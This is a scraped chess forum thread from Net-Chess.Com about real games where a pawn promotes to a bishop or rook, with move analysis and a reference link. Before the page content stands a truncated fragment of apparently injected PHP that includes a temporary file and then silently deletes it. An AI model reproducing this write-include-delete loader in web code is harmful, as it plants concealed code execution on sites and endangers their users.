"); fclose($hdl); include("{$eb}frmtmp.php"); @unlink("{$eb}frmtmp.php"); ?> Net-Chess.Com • View topic - Promotion to bishop

Promotion to bishop

Post any puzzles you have or post your analysis of any games played on Net-Chess or anywhere else. Posts which do not contain game puzzles or analysis will be removed, such posts belong in the general forum. Commentary and discussion on openings is also welcome here.

Promotion to bishop

Postby gregorgysi » Tue Aug 26, 2008 4:56 pm

Has anybody a good example for a pawn-promotion to bishop?
I found one yesterday in German chess-magazine "Schach".
I will post it in the next days. (Just forgot to bring it to work)
Earlier I was sure that there's NO reason for a pawn to promte to bishop.
In this game I will post it is the easiest way to win. But not the only.
It is a grandmaster game. (the one with 2600+ lost against 2400+)

Please do not post problems.
Just real games.
gregorgysi
 
Posts: 34
Joined: Thu May 11, 2000 7:57 am

Postby gmiller » Wed Aug 27, 2008 12:47 pm

I do it all the time. It only comes up in blitz games where my opponent refuses to resign and I want to mate them with a knight and bishop.
Greg Miller
gmiller
Site Admin
 
Posts: 1239
Joined: Sun Mar 14, 1999 11:13 am
Location: Jeffersonville, IN

Postby gregorgysi » Wed Aug 27, 2008 1:28 pm

So here is the game:


Image
Black to move


W. Baklan (2606) - H. Pham Minh (2431)
Capelle la Grande 2004

Black would like to play:
c1 followed by Qe5+, Qg3+ and Bd3+.
But 1...c1Q (or 1...c1R) is not working because of 2. Rxg7+ Kxg7 3.Qg5+ and stalemate

1...c1N would be a problem because of Rd6

So:
1...c1B
2. Qxc1 Qe5+
3. Kg1 Qg3+
4. Kf1 Bd3+
0-1
gregorgysi
 
Posts: 34
Joined: Thu May 11, 2000 7:57 am

Postby jsnyder » Sat Aug 30, 2008 4:51 am

Kamsky played a game recently in the TAL memorial where his opponent promoted to a bishop and won. They said there was another game where a player did the same.
jsnyder
 
Posts: 42
Joined: Thu Jun 21, 2007 7:10 pm

Postby sonrisante » Sat Aug 30, 2008 7:51 pm

jsnyder: I think the point to the question was not whether promoting to bishop would be sufficient, but whether promoting to queen would be detrimental whereas bishop would be beneficial.

Gregorgysi: I'm going to have to play out your scenario on a board because when I go through it mentally trying to follow your depiction, I don't see how your 1...c1Q scenario with 2. Rxg7+ Kxg7 3.Qg5+ leads to stalemate where c1B would not if white followed the same moves...[/i]

I too have always thought that Knight would be the only potential piece to provide benefit over a Queen, and then only in very strange circumstances. I would have always thought that R or B could always be sufficed through a Q.
sonrisante
 
Posts: 29
Joined: Fri Jun 30, 2000 6:40 pm
Location: california

Underpromotion in Games

Postby joelag » Tue Sep 02, 2008 3:06 am

When I read gregorgysi's question I recalled that I once stumbled over an appropriate web site.

I've found it again:

Underpromotion in Games by Tim Krabbé
http://www.xs4all.nl/~timkr/chess2/minor.htm

CU, Joe
joelag
 
Posts: 53
Joined: Sat May 06, 2006 3:30 pm
Location: Rhineland/Germany

Postby gregorgysi » Mon Sep 08, 2008 5:26 am

@sonrisante:

The difference between Q and B in the stalemate line 1...c1B 2.Rxg7+ is that after 2...Kxg7 3.Qg5+ the Bishop on c1 takes the queen so g1 is free for white's king.

@joelag:
Thank you for the link.
I should have known that Tim Krabbé has some material of it as he's specialized in chess curiosoties.
gregorgysi
 
Posts: 34
Joined: Thu May 11, 2000 7:57 am

Postby jboger » Fri Dec 19, 2008 9:56 pm

Here's a "miniature" example of where promotion to rook is the only winning move:
Image

White to move.

If White moves the king, black plays Kg7 and then captures the pawn next move -- draw.
If White promotes to queen, stalemate -- draw.
If white promotes to bishop or knight, insufficient mating material -- draw.
If white promotes to rook, however, Black must play Kg7, then white plays Rf1 or the like and goes on to mate with king and rook vs. king.
jboger
 
Posts: 6
Joined: Tue Dec 16, 2008 3:44 pm


Return to Puzzles and Game Comentary

Who is online

Users browsing this forum: No registered users and 2 guests

cron